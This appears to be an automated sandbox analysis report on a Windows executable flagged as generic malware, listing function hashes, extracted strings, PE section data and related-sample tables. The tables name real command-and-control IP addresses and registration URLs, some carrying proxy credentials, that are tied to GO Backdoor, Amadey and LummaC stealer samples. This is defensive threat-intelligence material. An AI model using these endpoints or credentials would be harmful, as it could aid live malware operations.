Opcode Fuzzy Hash: f7121334186761ea80de36c14ab593842ff393ecbe49fa44fdfabf0697fefd09
Instruction Fuzzy Hash: B641B275918B054FC306DF39C49122AB3E5FFCA384F54C72DE98A6B752EB359882C641

Function 003CEAB0 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156390838.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.2156357330.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156692235.0000000000763000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156917914.00000000009DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156949616.00000000009DC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156977537.00000000009DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157003332.00000000009DE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157027173.00000000009DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157043262.00000000009E0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A01000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A14000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157156449.0000000000A56000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157172245.0000000000A57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42e7ce1593c14520c6f3449d96cd90f740c421275a23b803e5f5c34345178214
Instruction ID: 0e73567053139586c7ed3ac462195dea45b807eb218a1cba73073c00201fd197
Opcode Fuzzy Hash: 42e7ce1593c14520c6f3449d96cd90f740c421275a23b803e5f5c34345178214
Instruction Fuzzy Hash: 4A416A76A083268FC305DF58C8C066AF7E1BB8C740F454A2DE99697341D6B4AD45CBC6

Function 003CFA10 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156390838.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.2156357330.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156692235.0000000000763000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156917914.00000000009DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156949616.00000000009DC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156977537.00000000009DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157003332.00000000009DE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157027173.00000000009DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157043262.00000000009E0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A01000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A14000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157156449.0000000000A56000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157172245.0000000000A57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 665431632b23d79fcecff6d22d2f72a3871eec6d8f8be9555a111c685e10e645
Instruction ID: 95935a9e68f14a716d30f52e32196a638a09705ec430c1c56e7c95bc15ae4135
Opcode Fuzzy Hash: 665431632b23d79fcecff6d22d2f72a3871eec6d8f8be9555a111c685e10e645
Instruction Fuzzy Hash: 4A418D35A083098FC305DF29C88065EF7E2FBC8340F418A2DE99997755E774E989CB86

Function 00368790 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156390838.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.2156357330.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156692235.0000000000763000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156917914.00000000009DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156949616.00000000009DC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156977537.00000000009DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157003332.00000000009DE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157027173.00000000009DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157043262.00000000009E0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A01000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A14000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157156449.0000000000A56000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157172245.0000000000A57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df07ef47753acfd04bac148158fb8f5009863ed9fda36b7068e54b76b7772330
Instruction ID: 8781b5b69470fb56b35cc48c5199456826fb965ce2f8d80fe00eb3c87a325f2a
Opcode Fuzzy Hash: df07ef47753acfd04bac148158fb8f5009863ed9fda36b7068e54b76b7772330
Instruction Fuzzy Hash: 6821D4357042068BD70CCF39D8D012AF7E2EBCD31075AC67DD5568BA64DE74A806C756

Function 00368790 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000001.1463227340.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00361000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_361000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df07ef47753acfd04bac148158fb8f5009863ed9fda36b7068e54b76b7772330
Instruction ID: 8781b5b69470fb56b35cc48c5199456826fb965ce2f8d80fe00eb3c87a325f2a
Opcode Fuzzy Hash: df07ef47753acfd04bac148158fb8f5009863ed9fda36b7068e54b76b7772330
Instruction Fuzzy Hash: 6821D4357042068BD70CCF39D8D012AF7E2EBCD31075AC67DD5568BA64DE74A806C756

Function 003912A0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156390838.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.2156357330.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156692235.0000000000763000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156917914.00000000009DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156949616.00000000009DC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156977537.00000000009DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157003332.00000000009DE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157027173.00000000009DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157043262.00000000009E0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A01000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A14000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157156449.0000000000A56000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157172245.0000000000A57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fceae4cfc1b923393a9eb8eb84a7d0f83cff487492a7c499888d677f3667fedf
Instruction ID: 4e697b37ac3a1902091c90a4c9c4e4af0f24fcfad25ae5040d3d7d11ba6293f4
Opcode Fuzzy Hash: fceae4cfc1b923393a9eb8eb84a7d0f83cff487492a7c499888d677f3667fedf
Instruction Fuzzy Hash: B0115B789083018FCB02FF78E88165E7BE0EB85344F50482DF4898B761DB39A845CB52

Function 003A3F50 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156390838.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.2156357330.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156692235.0000000000763000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156917914.00000000009DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156949616.00000000009DC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156977537.00000000009DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157003332.00000000009DE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157027173.00000000009DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157043262.00000000009E0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A01000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A14000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157156449.0000000000A56000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157172245.0000000000A57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90847a9e7d4c7d39ea29d5dd75034d26c90c576c19f4300dc2b242474eaa80ac
Instruction ID: 86c243cc77e06f140895067d940bb0ff5cb443405ca8a085f833c3275350120e
Opcode Fuzzy Hash: 90847a9e7d4c7d39ea29d5dd75034d26c90c576c19f4300dc2b242474eaa80ac
Instruction Fuzzy Hash: B4111EB8B407118FC348DF59C4D4956B3E1FBCD210B4681BDDA4A8B766C6706811DB95

Function 003A3F50 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000001.1463227340.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00361000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_361000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90847a9e7d4c7d39ea29d5dd75034d26c90c576c19f4300dc2b242474eaa80ac
Instruction ID: 86c243cc77e06f140895067d940bb0ff5cb443405ca8a085f833c3275350120e
Opcode Fuzzy Hash: 90847a9e7d4c7d39ea29d5dd75034d26c90c576c19f4300dc2b242474eaa80ac
Instruction Fuzzy Hash: B4111EB8B407118FC348DF59C4D4956B3E1FBCD210B4681BDDA4A8B766C6706811DB95

Function 003A7850 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156390838.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.2156357330.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156692235.0000000000763000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156917914.00000000009DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156949616.00000000009DC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156977537.00000000009DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157003332.00000000009DE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157027173.00000000009DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157043262.00000000009E0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A01000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A14000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157156449.0000000000A56000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157172245.0000000000A57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d9b350f4389c18de1c4c43b935311cdf0ae2b70bb647a2cf695c628e2fccee7
Instruction ID: ce7153739d853ca4004f7e2eda4a1de7bea8a1d55fc2a56f1bf0c4565379a0e6
Opcode Fuzzy Hash: 3d9b350f4389c18de1c4c43b935311cdf0ae2b70bb647a2cf695c628e2fccee7
Instruction Fuzzy Hash: 6EF0A078908601DFD309EF28E8D1969B7E4FB45344F80481DE44947721EB3AA890DB82

Function 003BF450 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156390838.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.2156357330.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156692235.0000000000763000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156917914.00000000009DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156949616.00000000009DC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156977537.00000000009DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157003332.00000000009DE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157027173.00000000009DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157043262.00000000009E0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A01000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A14000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157156449.0000000000A56000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157172245.0000000000A57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f21887de1451fca68a8cd8014b6b9d47ff5719cd5a245afc4629289bdb5762f7
Instruction ID: 79add447df871a7a754da6be7c2b6104b7af386ef851c1c0b706be4dac22ad35
Opcode Fuzzy Hash: f21887de1451fca68a8cd8014b6b9d47ff5719cd5a245afc4629289bdb5762f7
Instruction Fuzzy Hash: ABC02BB0C0E3536EE351CF2C85443AFBEC48BC0304F80D0ECA34882904C334C9809304

Function 003636E0 Relevance: 18.8, Strings: 15, Instructions: 86COMMON

Download Yara Rule

Strings

nd 3, xrefs: 0036371A
nd 3, xrefs: 00363713
te k, xrefs: 00363759
2-by, xrefs: 00363744
te k, xrefs: 0036374B
te k, xrefs: 00363752
expa, xrefs: 00363767
expa, xrefs: 00363705
nd 3, xrefs: 00363728
2-by, xrefs: 00363736
2-by, xrefs: 0036373D
nd 3, xrefs: 00363721
expa, xrefs: 00363812
te k, xrefs: 00363760
2-by, xrefs: 0036372F

Memory Dump Source

Source File: 00000000.00000001.1463227340.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00361000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_361000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 2-by$2-by$2-by$2-by$expa$expa$expa$nd 3$nd 3$nd 3$nd 3$te k$te k$te k$te k
API String ID: 0-4277483314
Opcode ID: 6e077b68708e23cd19737603a397995bd4fe774b3451c67b7472e4ba2de9a195
Instruction ID: 3400bc098882d11032e28c07fd717c744fe7252487e92b18647566d72029caad
Opcode Fuzzy Hash: 6e077b68708e23cd19737603a397995bd4fe774b3451c67b7472e4ba2de9a195
Instruction Fuzzy Hash: 2D5123B48056408FD358CF0AC198BA5BBE1BF88304F2A86FAC4588F776E7768446CF51

Function 003ABC80 Relevance: 5.2, Strings: 4, Instructions: 159COMMON

Download Yara Rule

Strings

-, xrefs: 003ABDCC
-, xrefs: 003ABE13
-, xrefs: 003ABCA6
-, xrefs: 003ABDF1

Memory Dump Source

Source File: 00000000.00000001.1463227340.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00361000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_361000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: -$-$-$-
API String ID: 0-1033403326
Opcode ID: 6b3d731cdfce685185693abe81351737f6e627d3cf3460f11704fc44eb09c88c
Instruction ID: 7c5482bdca8bb8188aeef84ec713c3e292a3e6675b3ab3bf0e1874a1328a0e6b
Opcode Fuzzy Hash: 6b3d731cdfce685185693abe81351737f6e627d3cf3460f11704fc44eb09c88c
Instruction Fuzzy Hash: 265103B6A493564FD716CE28D45076EBBC1EB91308F49463CD8948B3D3E7798A0D87C2

Function 0038D010 Relevance: 5.1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

Strings

, xrefs: 0038D07E
, xrefs: 0038D0F8
, xrefs: 0038D0AB
, xrefs: 0038D0A3

Memory Dump Source

Source File: 00000000.00000001.1463227340.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00361000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_361000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $ $ $
API String ID: 0-3535155489
Opcode ID: 15f161af7415497b6e778ca8763bb6cd218a282dc01107a96231cb38392dbb9f
Instruction ID: 7abdc9db43116ee487fb7d21af5e5d6217e947cceb91e4c16de9e7adfe5f56c4
Opcode Fuzzy Hash: 15f161af7415497b6e778ca8763bb6cd218a282dc01107a96231cb38392dbb9f
Instruction Fuzzy Hash: D831B078A083458FD329EF24D094B5ABBE2BFC8304F10886DE48987791DB35A944CB43

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
91.142.74.28	Notepad3_v6.23.203.2.exe	Get hash	malicious	Amadey, GO Backdoor	Browse	91.142.74.28/
	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28/
	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28/
	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28/
	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28/
	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28/
	file.dll	Get hash	malicious	Unknown	Browse	91.142.74.28/
	PZjMIa3MvC.exe	Get hash	malicious	GO Backdoor	Browse	91.142.74.28:30001/api/helper-first-register?buildVersion=0mUz.kUJ2O6l&md5=9b5ce04ec39c07546e6e12b6b60a6af0&proxyPassword=G6rdBV3M&proxyUsername=eKoRF4SY&userId=SOwRDeKMFIGrVg10wggRwau6SkfZdWRGfcF02R88sM9JdZmh
	heic.exe	Get hash	malicious	GO Backdoor	Browse	91.142.74.28:30001/api/helper-first-register?buildVersion=0SfI.qXU2qCl&md5=a64beab5d4516beca4c40b25dc0c1cd8&proxyPassword=NSU8Wq2U&proxyUsername=9nDNinxL&userId=mI62iJuWkLVJyhV2
	poration.exe	Get hash	malicious	LummaC, GO Backdoor, LummaC Stealer	Browse	91.142.74.28:30001/api/helper-first-register?buildVersion=03zq.qg826lp&md5=8f590a1aa472160887481c6e2f5f38d8&proxyPassword=QcA2y2Ws&proxyUsername=Sdow5dAF&userId=nWqFhTmNaQbSt2Ihda7aed7vpyuhphsatZmVrHbTykEH19TJ2xgu3Zjq48nS
77.238.229.63	Notepad3_v6.23.203.2.exe	Get hash	malicious	Amadey, GO Backdoor	Browse	77.238.229.63/
	file.dll	Get hash	malicious	Unknown	Browse	77.238.229.63/
	file.dll	Get hash	malicious	Unknown	Browse	77.238.229.63/
	file.dll	Get hash	malicious	Unknown	Browse	77.238.229.63/
	file.dll	Get hash	malicious	Unknown	Browse	77.238.229.63/
	file.dll	Get hash	malicious	Unknown	Browse	77.238.229.63/
	file.dll	Get hash	malicious	Unknown	Browse	77.238.229.63/
	PZjMIa3MvC.exe	Get hash	malicious	GO Backdoor	Browse	77.238.229.63:30001/api/helper-first-register?buildVersion=0mUz.kUJ2O6l&md5=9b5ce04ec39c07546e6e12b6b60a6af0&proxyPassword=G6rdBV3M&proxyUsername=eKoRF4SY&userId=SOwRDeKMFIGrVg10wggRwau6SkfZdWRGfcF02R88sM9JdZmh
	o8JAdiyezt.exe	Get hash	malicious	LummaC	Browse	77.238.229.63:30001/api/helper-first-register?buildVersion=0mUz.kUJ2O6l&md5=7ca367a34e36125fa9a9db11d6ca360d&proxyPassword=G6rdBV3M&proxyUsername=eKoRF4SY&userId=SOwRDeKMFIGrVg10wggRwau6SkfZdWRGfcF02R88sM9JdZmh
	4m8RBorBUl.exe	Get hash	malicious	LummaC	Browse	77.238.229.63:30001/api/helper-first-register?buildVersion=0mUz.kUJ2O6l&md5=3e5aa81f88377e3ca36da63dc29a2a89&proxyPassword=G6rdBV3M&proxyUsername=eKoRF4SY&userId=SOwRDeKMFIGrVg10wggRwau6SkfZdWRGfcF02R88sM9JdZmh

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.139178391193478
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe
File size:	7'139'840 bytes
MD5:	923ec5c02989f28b859f51c6956b5ad1
SHA1:	fc483ecce6307a9b0feff06876d70ec766d9b3ee
SHA256:	c3c657fa980e2ddcd6fc94d3464fea9816a4d5803c6ec80dee6a8b11fed28d36
SHA512:	c3de77a130a9c5afe7c876bca1a6f6038edb8c3ee703f1aa8ff49bf5512f74f16eee771073af7f1ec01aab7fecd2a676ef68acff3de777044bc0271dde6f3bc8
SSDEEP:	49152:338UJkgJSyoxs9pcgxLrpDXyYaNI8ZqXtF1lSV60FSHslKWfw9R4AvHyDIN0Mdpp:cUJHP0+9/q9kVVfm197yGdw
TLSH:	2776F984F9C795F6D803583454ABA33F173859098736DE97F6403F0AF8773A25A3262A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........l...............@...................g...@...........................r...........@................................

Entrypoint:	0x4601b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	4f2f006e2ecf7172ad368f8289dc96c1

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6f6000	0x45e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6f7000	0x28f16	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x67a040	0xb8	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x401273	0x401400	6afb3c8a36abd9ca53cf6df87bd62840	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x403000	0x276b10	0x276c00	8e81d920daeff9b70843231112c23733	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x67a000	0x7bb22	0x2d600	d9bec2d50ba01bb508823cc05c0330cc	False	0.46733492596418735	data	5.44331913082925	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6f6000	0x45e	0x600	a49ff055c8c200ed27dd642d0860e49d	False	0.359375	data	3.80074387051391	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x6f7000	0x28f16	0x29000	83c53fad7250f6e4c55e065bbfc36d02	False	0.5804234946646342	data	6.62519070040092	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.symtab	0x720000	0x4	0x200	07b5472d347d42780469fb2654b7fc54	False	0.02734375	data	0.020393135236084953	IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELERU-ASRU	QTmGYKK6SL.exe	Get hash	malicious	Unknown	Browse	77.238.224.125
	Notepad3_v6.23.203.2.exe	Get hash	malicious	Amadey, GO Backdoor	Browse	77.238.224.56
	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	file.dll	Get hash	malicious	Unknown	Browse	77.238.224.56
	PZjMIa3MvC.exe	Get hash	malicious	GO Backdoor	Browse	77.238.224.56
